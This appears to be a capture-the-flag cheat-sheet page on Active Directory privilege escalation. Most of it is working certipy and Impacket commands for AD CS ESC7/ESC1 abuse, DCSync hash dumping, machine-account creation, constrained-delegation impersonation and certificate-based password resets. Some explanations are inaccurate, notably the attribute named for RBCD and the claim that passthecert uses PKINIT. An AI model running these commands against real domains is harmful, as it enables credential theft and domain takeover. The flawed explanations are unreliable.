> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/windows/privilege-escalation-windows-active-directory.md).

# Active Directory

## AD CS ESC7: Issue Denied Certificate Request

The ESC7 vulnerability arises when a user holds both ‘Manage CA’ and ‘Manage Certificates’ rights on the Certificate Authority. This combination allows an attacker to force the issuance of a certificate request, even if the template used would normally result in a denied request.

Use `certipy` to identify potential misconfigurations by using the `-vulnerable` flag to check for vulnerable certificate templates or configurations.

```bash
certipy find -u raven -p 'FoundPassword' -dc-ip 10.10.11.236 -vulnerable -stdout
```

Submit a certificate request using the `req` command, specifying a template that is normally restricted, such as SubCA. This request will likely be denied initially, but it will generate a request ID. Note the request ID from the denied request.

```bash
certipy req -u raven -p 'FoundPassword' -dc-ip 10.10.11.236 -ca 'ca_name' -template 'SubCA' -pkey raven.key # This request may be denied
```

Using the ‘Manage CA’ right, the attacker can force the issuance of the denied request using the `ca -issue-request` command, providing the request ID obtained in the previous step.

```bash
certipy ca -u raven -p 'FoundPassword' -dc-ip 10.10.11.236 -ca 'ca_name' -issue-request <request_ID>
```

Retrieve the newly issued certificate using the `ca -get-cert` command and the request ID. The certificate will be saved in PFX format.

```bash
certipy ca -u raven -p 'FoundPassword' -dc-ip 10.10.11.236 -ca 'ca_name' -get-cert <request_ID> -out raven.pfx
```

Finally, use the obtained PFX certificate file to authenticate against the domain controller using the `auth` command. This allows the attacker to obtain a TGT.

```bash
certipy auth -pfx raven.pfx -dc-ip 10.10.11.236
```

***

## Abuse AD CS Certificate Template (ESC1)

When an AD CS template is configured with the `ENROLLEE_SUPPLIES_SUBJECT` flag and a user/group you have access to has enrollment rights, you can request a certificate for an arbitrary user (like `Administrator`) by providing their UPN in the Subject Alternative Name (SAN).

This can be done using `certipy-ad req`. Certipy is an offensive tool for enumerating and abusing Active Directory Certificate Services (AD CS). Specifically, `certipy-ad req` is used to request a certificate. You'll need the credentials of a user or computer account that can enroll in the vulnerable template (`-u`), the target domain controller (`-target`), the vulnerable template name (`-template`), the Certificate Authority name (`-ca`), and the UPN of the high-privileged user you want to impersonate (`-upn`).

A basic request using username and password looks like this:

```bash
certipy-ad req -u 'newcomp$@authority.htb' -p 'Password123!' -target authority.authority.htb -template CorpVPN -ca AUTHORITY-CA -upn 'Administrator@authority.htb'
```

Authentication can also be performed using NTLM hashes:

```bash
certipy-ad req -u 'user@domain.local' -hashes ':aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' -target 'dc.domain.local' -template 'VulnerableTemplate' -ca 'CA-Name' -upn 'Administrator@domain.local'
```

The certificate and private key obtained from the request can be saved for later use. You can save the output directly as a PFX file:

```bash
certipy-ad req -u 'user@domain.local' -p 'Password123' -target 'dc.domain.local' -template 'VulnerableTemplate' -ca 'CA-Name' -upn 'Administrator@domain.domain' -out administrator.pfx
```

Alternatively, you can save the private key and certificate separately:

```bash
certipy-ad req -u 'user@domain.local' -p 'Password123' -target 'dc.domain.local' -template 'VulnerableTemplate' -ca 'CA-Name' -upn 'Administrator@domain.domain' -key-out administrator.key -cert-out administrator.cer
```

If the key and certificate are saved separately, they can be combined into a PFX file using the `certipy-ad cert` command:

```bash
certipy-ad cert -key administrator.key -cert administrator.cer -out administrator.pfx
```

The parameters used in the `certipy-ad req` command include:

* `-u, --username`: Username for authentication (e.g., <user@domain.local>).
* `-p, --password`: Password for authentication.
* `-hashes`: NTLM hashes for authentication (e.g., LMhash:NThash).
* `-target, --target`: Target domain controller or AD CS server.
* `-template, --template`: Name of the certificate template to request.
* `-ca, --ca`: Name of the Certificate Authority.
* `-upn, --upn`: UserPrincipalName (UPN) to include in the Subject Alternative Name (SAN).
* `-out, --out`: Output PFX file name.
* `-key-out, --key-out`: Output private key file name.
* `-cert-out, --cert-out`: Output certificate file name.

***

## Active Directory Domain Hash Dumping (DC Sync)

Dump domain hashes from the Domain Controller's NTDS.DIT via simulated replication requests (DC Sync). This attack vector requires specific replication privileges (like Domain Admins or explicit replication rights). Impacket's `secretsdump.py` can perform a DCSync attack via the DRSUAPI protocol to extract credential material (like NTLM hashes).

The `-just-dc` flag is used to perform a DCsync attack, which attempts to replicate the NTDS.DIT file from a Domain Controller.

Here are examples of how to use `secretsdump.py` for DC Sync:

```bash
./secretsdump.py -just-dc backup@spookysec.local
```

Authenticating with a password:

```bash
secretsdump.py -just-dc DOMAIN/USER:PASSWORD@DC_IP
```

Authenticating with NTLM hashes:

```bash
secretsdump.py -just-dc DOMAIN/USER@DC_IP -hashes LM:NT
```

Authenticating with an AES key:

```bash
secretsdump.py -just-dc DOMAIN/USER@DC_IP -aesKey hexkey
```

Authenticating using a Kerberos ticket (requires `-k` and `-no-pass`):

```bash
secretsdump.py -just-dc DOMAIN/USER@DC_IP -k -no-pass
```

To dump a specific user's hash:

```bash
secretsdump.py -just-dc -user <username> <domain>/<user>:<password>@<dc_ip>
```

To dump all hashes and save them to a file (e.g., for use with hashcat):

```bash
secretsdump.py -just-dc <domain>/<user>:<password>@<dc_ip> -o all_hashes.txt
```

***

## Add Computer Account Via SeMachineAccountPrivilege

Leverage the `SeMachineAccountPrivilege` to add a new computer object to the Active Directory domain. This is often done using `impacket-addcomputer`. This tool requires the user running it to have the `SeMachineAccountPrivilege`. The user performing the addcomputer action needs SeMachineAccountPrivilege.

The `impacket-addcomputer` script adds a computer account to the domain. With the SAMR method, the user must have the `SeMachineAccountPrivilege`. With the LDAP/S method, the user must have the `SeMachineAccountPrivilege` or write access to the container where the computer account is being created. The computer account will be created with a random password unless specified and will be added to the 'Domain Computers' group. If the account already exists, it will be deleted and recreated.

The new computer account automatically becomes a member of the 'Domain Computers' group, which may grant access to resources (like certificate templates for Certifried) not available to the original user account.

The `machineAccountQuota` attribute in Active Directory determines how many machine accounts a non-admin user can create in the domain. By default, this value is `10`. A user with `SeMachineAccountPrivilege` or write access to a container can bypass this quota.

The `impacket-addcomputer` tool is used to create a machine account. The command typically includes the desired computer name (ending with `$`), a password for the account, the method (`SAMR` is common, but LDAP and LDAPS are also supported), the base DN of the domain, and the target domain controller along with credentials.

Examples of using `impacket-addcomputer`:

```bash
impacket-addcomputer -computer-name 'newcomp$' -computer-pass 'Password123!' -method SAMR -baseDN 'DC=authority,DC=htb' -dc-host authority.authority.htb 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!'
```

Another common usage pattern:

```bash
impacket-addcomputer -computer-name 'attacker$' -computer-pass 'Password123!' -method SAMR -baseDN 'DC=arctic,DC=local' arctic.local/offsec:offsec
```

The parameters include:

* `-computer-name`: Specifies the name of the new computer account, which must end with `$`.
* `-computer-pass`: Sets the password for the new computer account.
* `-method`: Specifies the protocol to use for adding the computer (SAMR, LDAP, or LDAPS).
* `-baseDN`: Defines the distinguished name of the domain (required for LDAP/S methods).
* `-dc-host`: Specifies the Domain Controller IP address or hostname.

Here is another example demonstrating the command structure:

```bash
impacket-addcomputer -computer-name TARGET$ -computer-pass 'Password123!' -method SAMR -baseDN 'DC=target,DC=local' target.local/svc_account:Password123!
```

And one more variation:

```bash
impacket-addcomputer -computer-name 'ATTACKER$' -computer-pass 'Password123!' -method SAMR -baseDN 'DC=redxorblue,DC=com' REDXORBLUE.COM/redxorblue.com\\user:Password123!
```

Examples using different methods or options:

Using the SAMR method with basic credentials:

```bash
addcomputer.py -computer-name 'computer$' -computer-pass 'password' domain/user:password
```

Using the SAMR method with full details:

```bash
addcomputer.py domain/user:password -computer-name 'computer$' -computer-pass 'password' -method SAMR -baseDN 'DC=DOMAIN,DC=COM' -dc-host DOMAIN.COM
```

Using the LDAP method:

```bash
addcomputer.py -computer-name 'computer$' -computer-pass 'password' -method LDAP -baseDN 'DC=DOMAIN,DC=COM' -dc-host DOMAIN.COM domain/user:password
```

Using the LDAPS method:

```bash
addcomputer.py -computer-name 'computer$' -computer-pass 'password' -method LDAPS -baseDN 'DC=DOMAIN,DC=COM' -dc-host DOMAIN.COM domain/user:password
```

Using the SAMR method with NTLM hashes:

```bash
addcomputer.py -computer-name 'computer$' -computer-pass 'password' -method SAMR -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 domain/user@DOMAIN.COM
```

Examples specifically showing LDAPS:

```bash
impacket-addcomputer -computer-name 'ATTACKER$' -computer-pass 'Password123!' -method LDAPS -baseDN 'DC=target,DC=local' target.local/svc_account:Password123!
```

```bash
impacket-addcomputer -computer-name 'ATTACKER$' -computer-pass 'Password123!' -method LDAPS -baseDN 'DC=target,DC=local' -dc-host target.local target.local/svc_account:Password123!
```

Examples specifically showing SAMR (SMB):

```bash
impacket-addcomputer -computer-name 'ATTACKER$' -computer-pass 'Password123!' -method SAMR -baseDN 'DC=target,DC=local' target.local/svc_account:Password123!
```

```bash
impacket-addcomputer -computer-name 'ATTACKER$' -computer-pass 'Password123!' -method SAMR -baseDN 'DC=target,DC=local' -dc-host target.local target.local/svc_account:Password123!
```

***

## Constrained Delegation Abuse (S4U2Self/S4U2Proxy)

Using credentials for a compromised account configured for constrained delegation, request a service ticket (ST) for a target user (e.g., `Administrator`) to access a service (defined by its SPN) that the account is delegated for. We can use `impacket-getST.py` to perform the necessary S4U2Self and S4U2Proxy requests against the Domain Controller to achieve this.

The `getST.py` script from Impacket is designed to request a Service Ticket on behalf of another user using the S4U2Self and S4U2Proxy Kerberos extensions. The output of `getST.py` is typically saved to a file named after the impersonated user, with a `.ccache` extension, for example, `Administrator.ccache`.

```bash
impacket-getST -spn cifs/HAYSTACK.THM.CORP -impersonate Administrator "thm.corp/DARLA_WINTERS:newP@ssword2022" -dc-ip $VMIP
```

Alternatively, using the script name directly:

```bash
impacket-getST.py -spn cifs/SERVER.DOMAIN.LOCAL -impersonate Administrator 'DOMAIN/UserWithDelegation:Password' -dc-ip 10.10.10.10
```

This will create a `.ccache` file containing the service ticket for the impersonated user (`Administrator`). A credential cache (or “ccache”) holds Kerberos credentials, such as service tickets. We can set our `KRB5CCNAME` environment variable to point to this file.

```bash
export KRB5CCNAME=Administrator.ccache
```

Setting the `KRB5CCNAME` environment variable tells Kerberos-aware tools where to find the credential cache file containing the ticket.

Now, use an impacket tool that supports Kerberos ticket authentication (`-k` flag) to connect to the service host specified in the SPN, authenticating as the impersonated user (`Administrator`). Most Impacket tools support the `-k` flag to authenticate using a Kerberos ticket. We can then use `wmiexec.py` with the `-k` flag to authenticate using our ticket.

```bash
impacket-wmiexec -no-pass -k thm.corp/administrator@HAYSTACK.THM.CORP
```

Using the script name directly:

```bash
wmiexec.py -no-pass -k DOMAIN/Administrator@SERVER.DOMAIN.LOCAL
```

Identifying accounts with `msDS-AllowedToDelegateTo` configured and the SPNs they can delegate to is key. Resource-Based Constrained Delegation (RBCD) relies on the `msDS-AllowedToDelegateTo` attribute set on the target resource (computer or user). RBCD is configured on the resource (computer or user) that is hosting the service, rather than on the account that is allowed to delegate. RBCD allows a resource (computer or user object) to specify which principals (users or computers) are allowed to impersonate users on their behalf. Tools like BloodHound (`Read AllowedToDelegateTo SPNs` queries) are essential. In the example, the target SPN `cifs/HayStack.thm.corp` suggests the delegated user (`DARLA_WINTERS`) likely had permissions (like `GenericAll`) on the Domain Controller object (`HAYSTACK`) allowing them to configure delegation for DC SPNs. We can identify computers or users that have the `msDS-AllowedToDelegateTo` attribute set using `Get-ADComputer` or `Get-ADUser`.

```powershell
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
```

***

## Pass The Certificate to Change Password (PKINIT)

Use a user's Kerberos authentication certificate, often obtained through AD CS abuse, to authenticate via the PKINIT extension and modify the user's password.

First, convert the certificate (e.g., PFX) to a format usable by the tool, such as CRT and KEY. Tools like `certipy-ad` can perform this conversion, extracting both the certificate and the private key into separate files:

```bash
certipy-ad cert -pfx administrator.pfx -out administrator.crt -key administrator.key
```

This command takes the `administrator.pfx` file and outputs `administrator.crt` (the certificate) and `administrator.key` (the private key).

Alternatively, the `openssl` tool can be used to split a PFX file into separate PEM formatted certificate and key files.

To extract the private key:

```bash
openssl pkcs12 -in filename.pfx -nocerts -out key.pem
```

To extract the certificate:

```bash
openssl pkcs12 -in filename.pfx -nokeys -out cert.pem
```

Then, use a tool supporting PKINIT password changes, like `passthecert.py`, providing the certificate and key files and specifying the password change action. The certificate and key are used to authenticate as the target user.

```python
python3 passthecert.py -action modify_user -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip 10.10.11.222 -target Administrator -new-pass
```

This authenticates as the target user using the certificate and proceeds to change their password to the value provided when prompted by `-new-pass`.